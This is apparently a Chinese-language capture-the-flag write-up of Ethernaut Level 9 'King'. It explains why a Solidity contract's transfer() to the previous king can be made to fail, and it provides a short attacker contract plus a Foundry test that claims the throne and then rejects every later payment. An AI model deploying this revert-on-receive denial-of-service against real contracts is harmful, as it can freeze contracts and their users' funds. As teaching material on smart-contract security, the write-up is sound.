# Ethernaut CTF Level 9 - King
## 題目
下面的合約是一個很簡單的遊戲:任何發送了高於目前獎品 ether 數量的人將成為新的國王。在這個遊戲中,新的獎拼會支付給被推翻的國王,在這過程中就可以賺到一點 ether。
看起來是不是有點像龐氏騙局 (*´∀`)~♥ 這麽好玩的遊戲,你的目標就是攻破它。
當你提交實例給關卡時,關卡會重新申明他的王位所有權。如果要通過這一關,你必須要阻止它重獲王位才行 (メ゚Д゚)メ
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract King {
address king;
uint public prize;
address public owner;
constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address) {
return king;
}
}
```
<br>
## 分析
問題點在19行的`payable(king).transfer(msg.value);`上面
如果收款方沒有相對應接收的function像是receive / fallback
不管King contract 怎麼send,永遠會失敗
也可以達成題目的要求 - 阻擋重獲王位
<br>
## receive & fallback function
當一筆以太幣交易發送到一個合約地址時,並且該交易沒有附帶msg.callData 以及正確function name
智能合約會觸發 receive 或 fallback 函數
這時,發送者只提供了一個固定的 **2300 gas** 來處理這次交易。這個量的 gas 被認為足夠完成一次簡單的 Ether 轉賬,但不足以執行複雜的計算或存儲操作。
以下是個樹狀圖,介紹receive / fallback的工作方式
```
智能合約接收以太幣
│
├── 無 msg.callData
│ │
│ ├── receive() 存在
│ │ └── receive() 函數
│ │
│ └── receive() 不存在
│ └── fallback() 函數(如果存在)
│
└── 有 msg.callData
└── 調用 fallback() 函數(如果存在)
```
<br>
## 攻擊
- 注意要調整合約中的balance才能有錢發送
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
contract AttackKing {
address payable addr;
// Gas optimization, put in constructor
constructor(address addr) payable{
(bool success, ) = addr.call{value:(0.009 ether)}("");
require(success, "err");
}
fallback() external payable{
require(false);
}
}
```
<br>
## Foundry Test
```solidity=
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "forge-std/Vm.sol";
import "../src/levels/09-King/King.sol";
contract ContractTest is Test {
King level9 = King(payable(0x744efac1d83001908B44DbE90e9a99C10AB54bC2));
function setUp() public {
Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D));
vm.createSelectFork(vm.rpcUrl("sepolia"));
vm.label(address(this), "Attacker");
vm.label(
address(0x744efac1d83001908B44DbE90e9a99C10AB54bC2),
"Ethernaut09"
);
}
function testEthernaut09() public {
address(level9).call{value: level9.prize()}(""); // trigger the level9.receive() function
assert(level9._king() == address(this));
console.log(
"--- King claimed! Now try again, tx should be reverted ---"
);
(bool success, ) = address(level9).call{value: level9.prize()}(""); // expect failed
}
receive() external payable {
// block the future transfer
revert("Not accepting");
}
}
```
<br>
## 補充
- https://www.kingoftheether.com/thrones/kingoftheether/index.html
- https://www.kingoftheether.com/postmortem.html